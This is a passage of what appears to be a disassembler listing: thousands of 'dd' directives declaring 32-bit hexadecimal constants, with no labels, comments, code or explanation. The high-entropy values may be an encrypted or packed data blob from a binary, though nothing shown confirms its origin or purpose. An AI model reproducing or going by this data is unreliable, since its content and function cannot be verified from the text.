		dd 4E61CE1Ah, 2EB3E7E9h, 0C99E2FADh, 0A55A0CA8h, 2455895h
		dd 0F17653CCh, 715FF901h, 6ED74B53h, 2D7AB057h,	16C68D6Ah
		dd 0F5A4792h, 12DEB6FCh, 0B1C8419Fh, 2BC1FEDFh,	0EE5967A4h
		dd 61E926C9h, 4A6885A3h, 57DF337Bh, 1E16416h, 553C81F2h
		dd 2022C192h, 1F2C4DB0h, 39AD594Ah, 0EBC74A9Dh,	3277259Ah
		dd 0FE675530h, 43278724h, 8E39F28Ch, 5562FAB9h,	68867F76h
		dd 3F5D2DF6h, 2C087B1h,	246A5E8Ah, 52C31363h, 0BB558DB0h
		dd 0A2B1A0C6h, 7514897Fh, 0F2C0A52Bh, 6B582B28h, 26920AAFh
		dd 464F5CFFh, 914BCFEh,	954F12Dh, 70AC127Fh, 760BFACh
		dd 0A0621661h, 0BD3944h, 29BF5745h, 3EB04812h, 0F04A23F8h
		dd 9109ED6Ch, 0FCC97D17h, 56A41793h, 0B2DEAABEh, 0D511CE15h
		dd 5AC80538h, 93C5B1C4h, 2E24C862h, 77C9A759h, 2A7C0918h
		dd 79E83EE1h, 0A5A87BA9h, 47965E5h, 72093C6h, 0D004DAB2h
		dd 0CB6643D8h, 68CBBC22h, 0E358EEB4h, 2523570Ch, 0A1C52CD3h
		dd 16A0DD25h, 1022E950h, 1224999Dh, 0D5E2D365h,	74B2E667h
		dd 9DBA016Ch, 81213059h, 3D79CA05h, 0AB004B93h,	3F6B57EBh
		dd 2D4464E9h, 0D250C0B0h
		dd 304CBF2Ch, 2E503D93h, 0E125639Ah, 0A605AACh,	9D721279h
		dd 49A0DC5Eh, 0D5509C05h, 7FB165E9h, 3A6417Ah, 2A54F719h
		dd 5AA137A8h, 3B7EB93Dh, 0E83F9232h, 4D829C41h,	67E8212Eh
		dd 3946BF8Ah, 0FBA94724h, 1A475969h, 0CCC33D21h, 3C2048D1h
		dd 0CE560031h, 33E9C654h, 2F5B81FCh, 5F1E4922h,	55C01C54h
		dd 25236FBDh, 15F058E8h, 15D0809h, 6864D67Ch, 5B5F0311h
		dd 0D1F60968h, 7999AEE2h, 0D02521A6h, 6B4F3440h, 0B7A2BF18h
		dd 0D87EC62Fh, 1B242999h, 0E32B3D75h, 5ABD344h,	310E79E6h
		dd 112CD280h, 5603E7A1h, 0B8E1ACB1h, 0F8F03224h, 5568015Ch
		dd 0EA98C69h, 0EED023C9h, 0F9344E23h, 3CA2B9h, 43D868E7h
		dd 474B41C4h, 0DAE38100h, 3A506063h, 302E069Dh,	0F50009B6h
		dd 0CB3B3299h, 35EB5829h, 0FB38E213h, 8F83AB97h, 0C3450D20h
		dd 82DA7C30h, 0AC1EEB0Ch, 0C4EA7F51h, 20C080Dh,	14E45914h
		dd 0CDC120h, 6FB85053h,	48659817h, 31C79750h, 496CFEB7h
		dd 23097C8Eh, 430967D6h, 7F339233h, 0B0B77FF8h,	0CE73829Bh
		dd 0B9EBCBB3h, 0F2A22EF2h, 0F2A08344h, 0BD839990h, 256847E0h
		dd 0E51A659Fh, 0C141BBD6h, 5DD259E9h, 0C26230D6h, 5DDF8BE6h
		dd 0B0B78ACCh, 0BD6CF15Fh, 68052B47h, 0DFEC445Ah, 0BEE81FC5h
		dd 41354FDCh, 617D213Eh, 27847F0Ah, 16779AABh, 61EE6F03h
		dd 788A4A1Eh, 0C0ABB4EEh, 1AAB3930h, 25A60B8h, 40906898h
		dd 0F15F01E2h, 0E93F38BEh, 0B1C5EE4Ah, 53DF39E9h, 29834483h
		dd 0FBC2C5CDh, 75D868D4h, 3BBE13BAh, 0BC1B04B4h, 902C007Eh
		dd 7B36B151h, 4207380h,	5366BBC1h, 0C8F0BB88h, 310E4BCCh
		dd 6A590168h, 5B1B4ACCh, 44038997h, 0ECCBBFD6h,	4301B464h
		dd 481E36E9h, 8351CB1h,	3BD1BF1Eh, 58024401h, 0EADF9942h
		dd 0F678F04Ch, 335F4C5Dh, 0A850FF93h, 0B8FD4F08h, 0A237E909h
		dd 553B97FAh, 0CAAA4FE5h, 34AB4FF6h, 0BFD9C05Ch, 0A53032E5h
		dd 6102923Bh, 0B06EF14Dh, 2CF5E96Fh, 895A0DE5h,	9CEDE7D9h
		dd 5F6097Ah, 0EA8DD855h, 0E41C0241h, 6D2B6860h,	7B822051h
		dd 7538FC49h, 0F11CA8F4h, 35565FC4h, 0C455C6E0h, 0F0EDE98Ah
		dd 0C25080A0h, 8C7815D9h, 5D53495h, 3110E8C1h, 3CA1FEC8h
		dd 16B808A4h, 0B57EC8BDh, 0B3537901h, 44C3809Eh, 251AF3CCh
		dd 84EBE9h, 0C5B5A95Eh,	65ECA3CEh, 0DE8852E0h, 0F4135073h
		dd 10C564E9h, 75F0089Dh, 0BA7F9741h, 12DC4C26h,	0CC2D4A68h
		dd 7A4D5E1Fh, 48F1840Fh, 0F5B93481h, 0F2310B96h, 39F61399h
		dd 3C2C574h, 66947775h,	0FEF2D512h, 0B6A265BAh,	0BA57C593h
		dd 0C23530BFh, 447DD361h, 0F3993E2Fh, 33CD08A9h, 3ABB5300h
		dd 0B0F9C414h, 5BB3FAF1h, 68DD7048h, 49BD6ADAh,	29018499h
		dd 0A89844FEh, 0D9B30568h, 0DBCDA28h, 0BAE52F18h, 431EAABEh
		dd 0B78B0CBFh, 0E35C2215h, 4F82EC60h, 827437BCh, 866C3AD3h
		dd 0B6094418h, 0C0C8F0B6h, 0DBFEEE9Dh, 0F2EDF8EAh, 0C0BFDD52h
		dd 82FA169Bh, 2FE8A80h,	0D8B56B46h, 0A0429DB7h,	52C24D7Eh
		dd 60B4DE14h, 9BF569Dh,	7294E949h, 72101D96h, 0F1F7A651h
		dd 2B3601D8h, 2CDF2D10h, 0AC076C43h, 0F7D4E108h, 0E7B849C1h
		dd 0FC0A5503h, 0EF750C10h, 0B41AEB25h, 4E8735C8h, 1FEEECF1h
		dd 630D5956h, 2D2A3A1Fh, 6E48FD64h, 7F28FB09h, 0B42C4BDBh
		dd 60DD0416h, 25F5C3C1h, 0B8F8003Bh, 31210D63h,	20033504h
		dd 82FE765Ah, 7858B1BFh, 0BDF681B5h, 0DA3045EAh, 0DFF3CA44h
		dd 0FC2538F2h, 1497E244h, 68553BE6h, 828B7245h,	570E92E9h
		dd 42B1B618h, 9A5A78F6h, 404BB4A4h, 570BEECh, 0F5010F28h
		dd 0B4370C68h, 0A80A4A13h, 0A908B329h, 4102649h, 0E4CA88BEh
		dd 0A752A51Ah, 0B6EE92A3h, 0C6E95F36h, 0A033E00h, 1AD4E946h
		dd 0A6B62AC4h, 53B4E0AFh, 36B2B94Bh, 1D02DC04h,	5002EE12h
		dd 7F707E57h, 0D2F77022h, 0D9E1825Fh, 97795112h, 0BD2DC469h
		dd 38E9E17Ch, 0BBD8096Bh, 4929E40Eh, 4C180DC8h,	0BD3F2D81h
		dd 1E31618h, 686271BBh,	10536D2Ch, 525E2579h, 36E0FA37h
		dd 92E25E6Dh, 21E495A9h, 41D7EA02h, 0E042615Ch,	27099D06h
		dd 0B050D4FCh, 0E7ACDEBDh, 91C17751h, 0CE98E9CFh, 0EBD0F65Dh
		dd 5AADFAD9h, 80017F03h, 5B4D4568h, 6C6F8409h, 6AE7D9FFh
		dd 5E7E25B8h, 50978C7Fh, 0F09FF0E8h, 0DBEEB5CDh, 63411095h
		dd 0CDAD6002h, 74765F0Bh, 4905CEF8h, 4648AA25h,	3E5E5EE0h
		dd 0F6BD7A80h, 0D2E12DF2h, 8F8113F0h, 36C42AA5h, 68FF68FEh
		dd 71217D25h, 0A179975Dh, 0F9A72A5Ch, 64479104h, 254BF03Bh
		dd 0EB5B7D64h, 7E2AA1AAh, 0AFF55DF8h, 55897BA2h, 0BE7DC80Ch
		dd 0C2071C09h, 25650BAh, 41E6B951h, 82D72CBCh, 7DC046D3h
		dd 0BBF2D320h, 1B4EDA61h, 0BF8B12EBh, 6D2418B5h, 89A24B09h
		dd 25032F23h, 8F03D301h, 6A652AF2h, 6AB7408Ch, 0D11D584Bh
		dd 69623825h, 621EDBDDh, 43C42244h, 0F7529D05h,	79F14369h
		dd 0BE411DFCh, 0FBFE865Dh, 609D50E7h, 9B01B12Bh, 2FC700DBh
		dd 39BF070Eh, 15BB4205h, 77C2EF29h, 0B347463Fh,	90680536h
		dd 9225E35h, 0AAF114C9h, 0DF0ED496h, 43DA4972h,	45F5D122h
		dd 79B81A56h, 0CEC00ABh, 13BA59BDh, 0DD5F01F3h,	390538F0h
		dd 0C118DC5Fh, 6FE7D2EFh, 78C68080h, 5712264Eh,	5572C90Eh
		dd 4AED5959h, 0A94E2FE7h, 0EFD80FD9h, 0FC5BCBFEh, 0E0135BC8h
		dd 0ABB86176h, 4E1A6809h, 0FC3B4B30h, 504F782h,	0A8F8BF1Ch
		dd 6A4A2CB8h, 2C68962Ch, 60E11B58h, 0F680ACB6h,	94E9B10Dh
		dd 0F32E1A08h, 5968187Fh, 5F4FE917h, 0A732FC2Bh, 48E386C6h
		dd 612F6EADh, 0BDC0988Eh, 28594EBFh, 82295CB7h,	8057419h
		dd 0F82805F4h, 78CF7109h, 3F8676DCh, 7B73B55Ah,	0D1811504h
		dd 745A6803h, 0EB5C713Dh, 0ECDA5E14h, 0B612EAEAh, 0F6FC77CAh
		dd 0D2FF66B2h, 0DFC731B3h, 665358B4h, 0F45D257Fh, 5752F18h
		dd 6DEC7484h, 9F7EE9C2h, 0E3079FFAh, 296D3B54h,	4AC59C2h
		dd 0A8F1FBB9h, 0A56BDCE9h, 0C32E3076h, 2B84640h, 40AE5FDEh
		dd 0CB41C689h, 88AF0532h, 0EC13CB93h, 0D213717Bh, 0D5E7D400h
		dd 0FE22BC6Bh, 0F3D70BEFh, 0ABFD12BFh, 0D140260h, 14890624h
		dd 4685348h, 5C461F58h,	0BB361B4h, 297E6E64h, 0BE7B2DFh
		dd 7C05770Ch, 3E1C14C6h, 0AA5B1238h, 0A6C2B824h, 0F2EA57EDh
		dd 50D05E55h, 0F65E7FE9h, 0F7F024A5h, 51DA0F2Ch, 0DD81B9B5h
		dd 0C0C4ED80h, 0EAA159E8h, 0DA541708h, 0D4CB5F0Bh, 2E071AD1h
		dd 0EA5374FAh, 1F4002B5h, 187DC139h, 9EEE31D9h,	7F0407C6h
		dd 0F229F80Ah, 210578E3h, 0A811E9D5h, 0DF2C4FDCh, 0B8145A68h
		dd 0D513D339h, 0A2BD0A4Fh, 55B59ED9h, 72DD3989h, 5ABEEE67h
		dd 0C58FB90Ah, 6AF48FCEh, 0ED3D1406h, 47059D6Bh, 844DC357h
		dd 18958455h, 0F6E9A908h, 62BA0A4Bh, 0BDC99185h, 0E36A70BAh
		dd 6009632Fh, 0E2B892Bh, 0CE0518F0h, 8193854Eh,	8123C1D9h
		dd 41C0EE7Fh, 0D02E02EFh, 5B217B12h, 0BE833E4Fh, 5F04F283h
		dd 75E905D4h, 38BC3B80h, 70F50AD0h, 48F0BF25h, 6B1710D3h
		dd 0D7F020AAh, 914F03E9h, 4AC11F28h, 0D44DFD58h, 66C725E9h
		dd 154520C2h, 4A4A547Eh, 6858DBC0h, 0BC204B87h,	0A34DD85Ah
		dd 116D0915h, 80D5D3F7h, 86C72D7h, 8312C177h, 0E5E9FFC3h
		dd 6EF34DE0h, 0B9A461A8h, 0F355E7D3h, 0EB4F7EB3h, 35A16440h
		dd 0E899C51h, 1CBFE9F1h, 5D8EAF16h, 945E5727h, 981F74Bh
		dd 0EC38566Fh, 0D9AA466h
		dd 8FE6D6BFh, 0CA579944h, 5A59585Dh, 0D88B17F2h, 5BFFA8C2h
		dd 5F928B70h, 1F4F3130h, 5767F325h, 0D8C6FC90h,	29230C19h
		dd 68C4D798h, 0B5749720h, 5E2F2D39h, 0FC6765D8h, 35EE5A8Fh
		dd 65568077h, 955E02DCh, 0AA5BC091h, 37F4A004h,	0F0AECF3Dh
		dd 1AC9115Eh, 846F8AF5h, 8144FD8Ah, 0E82849B5h,	5E2C59E0h
		dd 0D3E83430h, 244C68A6h, 652D48Fh, 20B22898h, 0E90817DEh
		dd 5E63A036h, 8E2F98AEh, 9966E1h, 531C3D4Ah, 6012C281h
		dd 34CD03Bh, 0FC5118E2h, 1418051Dh, 8005DB68h, 66D872Bh
		dd 0DA600490h, 0C10BA91Ch, 0C8DCB5D5h, 99853E6h, 686D5B09h
		dd 0D10947DCh, 105600E3h, 5D0DAB6h, 9D732B05h, 2D34826Bh
		dd 0AE5B0784h, 0AB922CB2h, 6B1A0EE2h, 0E1F5C8DCh, 5BF8EB05h
		dd 0BF5550E4h, 4D69F5B0h, 3EFDDB10h, 0A8741658h, 756EA245h
		dd 40176798h, 0E5BD5FECh, 29A73F19h, 6ADD4742h,	0D51069F9h
		dd 12196FDCh, 0E42B0AE9h, 2FBFC337h, 0F86A8ED5h, 13F6B218h
		dd 1F3001B0h, 16B68058h, 0E9BBEE80h, 1800AF4Ah,	347C23BEh
		dd 49094C1Fh, 86002148h, 0E91273ECh, 0C2BA94E8h, 7DD6EB27h
		dd 0FAB2818Eh, 4A84CCE2h, 0C47ABCABh, 3507C2ADh, 70419284h
		dd 5CA03D58h, 0F6276428h, 4BCC7765h, 4609B098h,	802E4062h
		dd 2C3E3154h, 0CF290937h, 4877BCE9h, 1DBD76h, 0DF0D758Bh
		dd 2D173B5Eh, 0D83AFB14h, 8AB12B9h, 0F9118797h,	2C75BCC7h
		dd 4AE9DB34h, 0E59840A9h, 44F86A31h, 0A5B26DB0h, 0D694F79Dh
		dd 2C5EA81h, 5B59E05Ch,	20949706h, 53E05D60h, 63B32Ah
		dd 1742F181h, 0D9F778E8h, 0D2017898h, 0E92DDE77h, 0CC23FF98h
		dd 22C66809h, 6679AA44h, 2D5E033Ah, 1630705Fh, 4B76E907h
		dd 0ACC4B9D9h, 8C20CB7Ch, 0E17EA0CAh, 1B733D72h, 364BCCA7h
		dd 9F3D1FB1h, 549CA6Fh,	9FEFD261h, 0FB5EDFA5h, 0C48F4DE1h
		dd 446B602Fh, 0EB028872h, 40E34788h, 0F7A8404Bh, 5E535EDBh
		dd 9450651Dh, 251CF79Dh, 0E9FE6F9Ah, 2A101330h,	625A3A88h
		dd 0DAC09C59h, 0C541BC8Eh, 0CC56E580h, 11C70AF5h, 0A2BF04EDh
		dd 7F23E9CCh, 632DF85Ah, 73565EF6h, 80E02BBAh, 6F695CE9h
		dd 6FE60E6Fh, 0F08D49D1h, 4C51B04Ah, 0B293F05Eh, 0F27F2480h
		dd 2FF97BAFh, 61A432D5h, 0C0040223h, 7FD9C70Eh,	0B0FCBC26h
		dd 289C0C16h, 68C31731h, 9B31BF07h, 5A858150h, 0C1916B6Fh
		dd 9D1CE5DEh, 2DCCC59Bh, 95EF4913h, 10A20BF5h, 9E05AA7Bh
		dd 1904E987h, 0DA300580h, 0A6F908h, 0A9455FBFh,	44B88138h
		dd 3F020802h, 0D480C3E9h, 2AA26253h, 0DEBF5DCCh, 81560D01h
		dd 89E83B22h, 55EDA051h, 76B78704h, 1AB4F33Bh, 29B5983Fh
		dd 2580F59Fh, 8C401C4Fh, 1106BD10h, 0BEDFE988h,	9FB32640h
		dd 6BA192Fh, 50E3D8D5h,	0B109F3F2h, 0D516D4E9h,	2E98C047h
		dd 0CCD81E1h, 15450A2h,	3918A90Ch, 23723141h, 7890055Fh
		dd 0C8D8CAE9h, 400B6B92h, 0FE481CFBh, 10933FE0h, 6A93A1E3h
		dd 36A04500h, 5B8B2AD4h, 0A238B934h, 4264545Ch,	1275D95Eh
		dd 51767D60h, 40404017h, 223D5AB9h, 99D49F12h, 0F5FBB01h
		dd 80E0603Ch, 0BEB9217h, 10E00EC9h, 0EC351B04h,	91BE97C7h
		dd 6CB21912h, 720496A7h, 0A41D136Eh, 4277A528h,	0E526C00Fh
		dd 6896C3EDh, 0AE844322h, 0A984D1E2h, 2B68063Ah, 92CFF425h
		dd 4D592CB4h, 36A20075h, 0EF012B25h, 194AF0FEh,	0ABD761E8h
		dd 0FF083813h, 94B28DEh, 0EABAE029h, 2A340BFCh,	1E4CEBAh
		dd 0FE1CF3EFh, 0F16F0108h, 0FA080599h, 40B48DC8h, 8E0FBAD0h
		dd 4576C020h, 55B77F0Ch, 98D7892Dh, 4BEDE95Bh, 86A6B825h
		dd 4A0EF34Bh, 0B1EBE831h, 103AEEE9h, 19199DF9h,	3BD82D2Dh
		dd 5FCA05EAh, 0BFA68421h, 0C41834ACh, 2FC799DDh, 4E16792Eh
		dd 7A89A41Eh, 0B8D0F27h, 0F88B30F0h, 54538085h,	385F4A90h
		dd 13271021h, 20E66800h, 944D3025h, 0EE1CA0F1h,	413A2E47h
		dd 0B3E1669h, 0A2DD1CFFh, 0F9D7D11Bh, 1FC4ADD6h, 5305A548h
		dd 68E827F7h, 14BDF1DFh, 984E9308h, 1FA0FC27h, 3B57FC8h
		dd 0BDC44BDh, 44CF5E09h, 2BCAC0Eh, 0E6E917BDh, 0B9073F58h
		dd 703A7738h, 0A07C22A2h, 5758C69Fh, 695D0BBFh,	5581A4Ch
		dd 39D02409h, 7498047h,	97C3207Ah, 1C6E8F09h, 0D7B1E912h
		dd 64E027C9h, 54BBA5Ch,	0A26809EEh, 58ABD81Bh, 802B2341h
		dd 51EB28A0h, 2D15B52Ch, 1C0F8116h, 4FDCF277h, 19862068h
		dd 752CE916h, 71A4A753h, 9F66EA7Bh, 59B3A4F0h, 0AD5B963Eh
		dd 0A86AD9BEh, 12EA5DC7h, 390CB880h, 0BB025C28h, 1D4869A1h
		dd 57C00AC2h, 0B583DA4Ah, 52633CBAh, 2B1882CBh,	0F64F025h
		dd 0FDAD390h, 0FDD8FFA4h, 861C2AE2h, 539D8E80h,	2D5D885Ch
		dd 0C66C6869h, 5176047Eh, 0AF1C8B56h, 87884EF6h, 0F10DB424h
		dd 0ECD560D6h, 0E805D4D6h, 0A7001EEh, 6B555A24h, 77394DF0h
		dd 2F51B761h, 721BE9E1h, 93118B25h, 0D101140Eh,	0CC1020EFh
		dd 0F861542Fh, 25FD1350h, 0F743008Bh, 3A8720C2h, 17B887B8h
		dd 77111E0Bh, 5EE65FB6h, 0DF0EE2Eh, 26915469h, 28C38062h
		dd 45E97310h, 0C0A5D2BEh, 0BD53D4D2h, 32A545F3h, 60DA5F2Dh
		dd 0D702099Fh, 5FFD2630h, 40706812h, 0ECD44661h, 9388AD3Bh
		dd 2F798AD9h, 97AE3E2Ah, 0CA7DD140h, 0A5DBA80h,	4227A251h
		dd 93F602BBh, 7562C6C3h, 98D735C2h, 0B5EAD11Ch,	9482CAD6h
		dd 5F8BD7C0h, 3DDE7CC2h, 0FC8206CBh, 0F7312C6Eh, 0D4ED13C7h
		dd 48BCBB59h, 0ABCDC34Bh, 0EB879703h, 0D1555345h, 14A0DD77h
		dd 82680D80h, 7A9C065Fh, 366448E8h, 788AA1Dh, 0E439E4Eh
		dd 0EE923EFCh, 26E90702h, 0ACF1DF6Dh, 7ACC5FC9h, 3BF6E912h
		dd 8C10A8D3h, 0C7F04B0Bh, 402D12F4h, 96C5ED4h, 0E2A9F438h
		dd 93956CD5h, 0B8F389F6h, 2574EDDFh, 50E9EA90h,	94F2F75Fh
		dd 1BDC4497h, 48B25070h, 17A94B9Dh, 0E9EE0979h,	0C348B9CDh
		dd 7CB102DEh, 8B03FE00h, 82C70115h, 0D20C080Ch,	5264D9FCh
		dd 0D7A8C8F0h, 7C3EA64Ah, 6C8A3755h, 0D34AD54Ch, 6B312B05h
		dd 10868AFFh, 279A899h,	51D82822h, 5DE8B1h, 0C4E9CA38h
		dd 0EB37CFBCh, 3C936043h, 55E400F5h, 0BA401619h, 45631A09h
		dd 0D094E23Dh, 0B099AEF8h, 4E20BF24h, 0A867F5E1h, 4149431Fh
		dd 0B4A07157h, 0DCC65C83h, 6AECE609h, 0F6C0218Eh, 2E4ED3D0h
		dd 7B9FF2FAh, 7E3D423Dh, 0A7900309h, 0C16B028Ch, 11A1DDFh
		dd 829A8FFh, 90EE5D12h,	6AB86644h, 0D280874h, 327FCE16h
		dd 90FCFE4Eh, 9C5CE7B7h, 920CF55Fh, 8C59157Dh, 3E8A12F2h
		dd 4B09FDD0h, 0B99874BBh, 222F1439h, 96287FDh, 0DEC2C784h
		dd 5019DCFBh, 6D5F2768h, 6039DA32h, 0C645042Ch,	3ABFCA76h
		dd 552D1B5h, 0BF389468h, 345F2F9Ah, 854389BFh, 0F305E90Ch
		dd 8F18ACF3h, 0F0F7EB58h, 3C58417Ch, 55E62E2Ch,	8995D1ADh
		dd 409B1FFEh, 4077F7F2h, 4E131B97h, 0FE87C577h,	814EF0C2h
		dd 6A1A87EBh, 0CC66530h, 0D42283D6h, 0F2AA5E36h, 10CD855Fh
		dd 7FF07494h, 0A06FB2BDh, 3D77F5ACh, 239274FBh,	0E589AF31h
		dd 0B604DCE4h, 0B77869DEh, 0E5B95105h, 3DC07908h, 337D0BE1h
		dd 574273D1h, 58C1D312h, 0A1F544EAh, 4931C215h,	0BA895C04h
		dd 0C9F11EFCh, 0BC895988h, 0E3C0AC60h, 0C358037Bh, 7A075AE3h
		dd 0AF725147h, 0A7E55D8Eh, 0A3E8C600h, 0C450DFE0h, 0FFF0D7ECh
		dd 4A7AF0B7h, 4228AE5Eh, 0E76BE102h, 9EE912EDh,	882726E8h
		dd 1CDF9475h, 0CE93EB80h
		dd 0D30D48C3h, 47E9D410h, 0A124919Eh, 417C063Fh, 90C05FCh
		dd 6FA10A7Dh, 499F00FDh, 0FC402B5Bh, 3DE71260h,	4E47FCAAh
		dd 603BD5F1h, 20534742h, 0E2810B01h, 57567DAAh,	1630CAD8h
		dd 13F101Dh, 6BE94A50h,	2FF7BB03h, 7578C241h, 4B593F96h
		dd 55A04B34h, 4B237A8Ch, 59E4C356h, 68213E18h, 989D2C0Eh
		dd 0BC934F61h, 5B6948D0h, 959868E0h, 0E4C0110h,	0CBB11ABDh
		dd 4AC57F4Dh, 0BF2B0098h, 495A2522h, 56E78101h,	476EA466h
		dd 0DD078470h, 2C85A64Fh, 67890BA5h, 224FACC0h,	0A88BD39Fh
		dd 0B72FE41Ch, 8327E79Ch, 0E92B18C3h, 7365E1B9h, 98AA5F54h
		dd 521211F5h, 0A7E87EC9h, 7C0566B0h, 48A01B5Fh,	4B5E7386h
		dd 0C937E468h, 78E31125h, 0E1F8C457h, 64C88046h, 9F5EF380h
		dd 7DB7A709h, 71D58709h, 0F0DBCB64h, 5C72A035h,	8DC53F5h
		dd 122FD87Fh, 7873C121h, 14E0874Dh, 1255F1AFh, 9490C82h
		dd 90E5DADDh, 924F03h, 1A69BB18h, 4DB05225h, 771FF93Fh
		dd 301E819Dh, 0EE2FFED7h, 26688228h, 0C1A84259h, 200D6EB9h
		dd 658B012h, 0EA2D9FEh,	2A079862h, 0B7405180h, 752D580Ch
		dd 0B845CEAFh, 31D7490Fh, 0E442607Ch, 0FE5B0147h, 0EAA3BCEh
		dd 0E6661B5Fh, 0AF790C9Ah, 882C9CF8h, 3E998F3h,	745E451Dh
		dd 0E264446Bh, 208BB041h, 5C94EA9Bh, 0EE65E097h, 625A3B46h
		dd 0CFF5D26h, 0E913EAF5h, 3D16955Dh, 5BB20F80h,	0C28BDD28h
		dd 5E30777Dh, 6BDE4E1Ah, 50C68847h, 2AAF035h, 5BE95AA9h
		dd 5155836Ah, 41224B66h, 0D65D6851h, 2AE9506Eh,	0DD1C8995h
		dd 0FF527079h, 0E916F66Eh, 0EDB25D74h, 0E69F858h, 40467175h
		dd 0E7685FFEh, 819F384Dh, 25EB0A81h, 0E6085D30h, 0E8044AE3h
		dd 0AC7A12FCh, 55C1CFACh, 2A392868h, 884865B6h,	352FF801h
		dd 2AD8F726h, 0C52D54C0h, 0B0844A28h, 5050463h,	1174C34h
		dd 412ADFA9h, 0B3124FE7h, 0B10978D9h, 0FE1C7C59h, 0EBF7C066h
		dd 3376B32Bh, 0D565C705h, 3F853785h, 3F24E1FBh,	247D40E6h
		dd 97384568h, 6A27AA09h, 0DF8A88C2h, 9F612212h,	19DBD822h
		dd 0E99340B5h, 25FB4896h, 84E150A2h, 2D8C2FADh,	96C122Fh
		dd 0F329B0FCh, 6203A502h, 0D5666838h, 1D25A0C8h, 8FB9C983h
		dd 0CB01E9DBh, 0E916B532h, 15D2EA0Fh, 953E5851h, 25DDFB6Ah
		dd 0FAAD5E74h, 26AB9F85h, 5A6FD7F9h, 0DC91C4CFh, 0D3D9B2FEh
		dd 0D2E93B02h, 99BCA048h, 0B708400Fh, 7F866860h, 0E9646309h
		dd 556D6265h, 0EAC66D3h, 91CD219h, 53CC8C30h, 520088C5h
		dd 0E2C060B2h, 0F2138005h, 0BCE8881Bh, 55762920h, 0D31D7225h
		dd 26C225A3h, 9113986Eh, 20BBDC19h, 0C181F94Dh,	28440BA2h
		dd 3FB9CA49h, 7EA124Ah,	0FDC2F1D1h, 925DFAFCh, 7F062A90h
		dd 4E9AFA53h, 0D282FCA2h, 94F149AFh, 619894F8h,	0F5792851h
		dd 9A2B6CDAh, 1BF475A9h, 8948E9E2h, 1F936C8Dh, 6D706856h
		dd 0E5094446h, 0F32735Fh, 96C54FA7h, 0E3E804BEh, 503A8AD6h
		dd 304DF90Ah, 0B22D76FBh, 7A777CC3h, 3D3DE75h, 194D25ECh
		dd 10A60C04h, 0B8AA0D83h, 0B450A13Fh, 0BDC468FCh, 0FF190022h
		dd 95ABBD04h, 7E76BDC9h, 33D3CB2Ch, 0A30DC85h, 65089D0h
		dd 0AD544EA3h, 7CE9178Eh, 0D352434Fh, 29BA8B04h, 40C4F8FCh
		dd 1B9002Ah, 30C5C77h, 42E6F181h, 0E1B048ABh, 8E4B72AEh
		dd 0C98034F8h, 73900D65h, 180E959Eh, 0CD31E0DCh, 0B7EB8959h
		dd 7697A6CCh, 95034992h, 3AC24EC6h, 4089EA87h, 97E972D7h
		dd 6283A640h, 1EA06C2h,	0F625BA7Eh, 92821CBCh, 0C100EF1Dh
		dd 1467C18h, 880D0D1h, 331FB4Fh, 0A07737B9h, 85755A7Ah
		dd 70F6BED8h, 0FF7EE9C2h, 0A2711C42h, 12B1123Dh, 784C4CF2h
		dd 9CCFF28h, 0FB1935DBh, 0A60864F4h, 0AD983AC8h, 0F75844CDh
		dd 632C32C4h, 3D60BE00h, 86F40251h, 2D5C00BDh, 4AAF3EB1h
		dd 2F6B113h, 0AA775B07h, 2D12F3FFh, 0E6816AC8h,	7D6113CDh
		dd 0A9F6013Dh, 6AC96D71h, 0BC16BE4h, 39862702h,	882EFDAh
		dd 8CC29DDEh, 83D84AE6h, 0CBA57D60h, 0E8701211h, 99CBAA55h
		dd 6215BA0Eh, 0A980472Bh, 2E655A2Fh, 0EEC14618h, 8064ADD6h
		dd 7797C368h, 0D23C918h, 0F013B33Eh, 68368631h,	6207A095h
		dd 5C75CF88h, 0F04ACF4Bh, 0C309CFECh, 25DE447Dh, 5D92E19Eh
		dd 0EE0A7784h, 10A71444h, 88D211A8h, 6C97F149h,	0D1C1B5D4h
		dd 5F5C0246h, 2269B40h,	585F6E1Fh, 0D37B1C8Ch, 4DA3F8CAh
		dd 0E204C247h, 87071821h, 402C3251h, 6501796Ch,	89CAD0ADh
		dd 0B47A5AD7h, 880E46FFh, 0E9E9BD7Dh, 0C7A7C904h, 38F0F56Fh
		dd 0BCBCA4FFh, 3024EFD7h, 5A2EDD83h, 207287D5h,	0FA10791h
		dd 1050ECA2h, 0D5F74D17h, 13C85A01h, 38890A3Dh,	0C71014F4h
		dd 0F3165DBDh, 0C04214Ch, 0F700751Ah, 0B42596D6h, 595C7A7Ah
		dd 40051218h, 0F25BE78Ah, 5010CE49h, 9717B01Fh,	48DE0B3Eh
		dd 0BFA12E75h, 793F8ECBh, 0C25ECBE7h, 0F9886404h, 5128BB25h
		dd 0CBEE5934h, 8410F226h, 0ED732E19h, 9345108Eh, 0D64F914Bh
		dd 50AC04BEh, 3C76154Dh, 51BDCF87h, 0AD28F7B5h,	0E92198B6h
		dd 561C59A9h, 0FA43D89h, 76CBEA08h, 11B55063h, 0DC75EE82h
		dd 4FBD805Ch, 0BF711209h, 6C7CF6FEh, 75A4E2BFh,	5B3F09E7h
		dd 44D357B2h, 0FCDCE98Fh, 0F721092Ch, 74B775Eh,	0AF9CE79Bh
		dd 5E7B31A8h, 0DE11EC06h, 90E7075Fh, 0C1815181h, 0E45DD31Ah
		dd 28936618h, 76900B35h, 0E88FB5h, 39F895B9h, 0BC55F6FAh
		dd 0B8953FDEh, 3316CB49h, 48CAA276h, 74BB5F9Fh,	0ACE3FA01h
		dd 12F67610h, 0E7A45268h, 0F90E4BB1h, 0D555C90Ah, 0E0FD441Ah
		dd 4C5D7919h, 0CE097678h, 4F00B121h, 0E9B37E9h,	4C4A66B0h
		dd 1866CEEEh, 0DB77558Eh, 0A118B55Dh, 54828DF6h, 42350524h
		dd 0F5828083h, 0D51691Dh, 459AF09Ah, 0CB8874Ah,	0E45AA8D3h
		dd 0EB93BDA8h, 12741DA2h, 0B26E9B68h, 0CA9710C7h, 0C472F84Bh
		dd 6605DC71h, 0FEDAC150h, 0E1C2D1C8h, 0B0148B58h, 0B3DE04E7h
		dd 8D00BA13h, 163C1FE3h, 9D58FA3Dh, 126265F4h, 9750BFAh
		dd 5D50094Ah, 0BD5C7029h, 18BD830Ah, 59118B4Fh,	27A56FF4h
		dd 5C64B44Dh, 45EF81D6h, 0BE41C554h, 2D210328h,	545DE8h
		dd 811093A6h, 34B10407h, 0B4C707ECh, 0E4AB8E7h,	0E966F525h
		dd 44527F17h, 4F77D680h, 3BB90B86h, 1E83B143h, 3A27EF47h
		dd 0ABCC7D5Ah, 961244Ah, 0A4690B61h, 34843177h,	5701580Eh
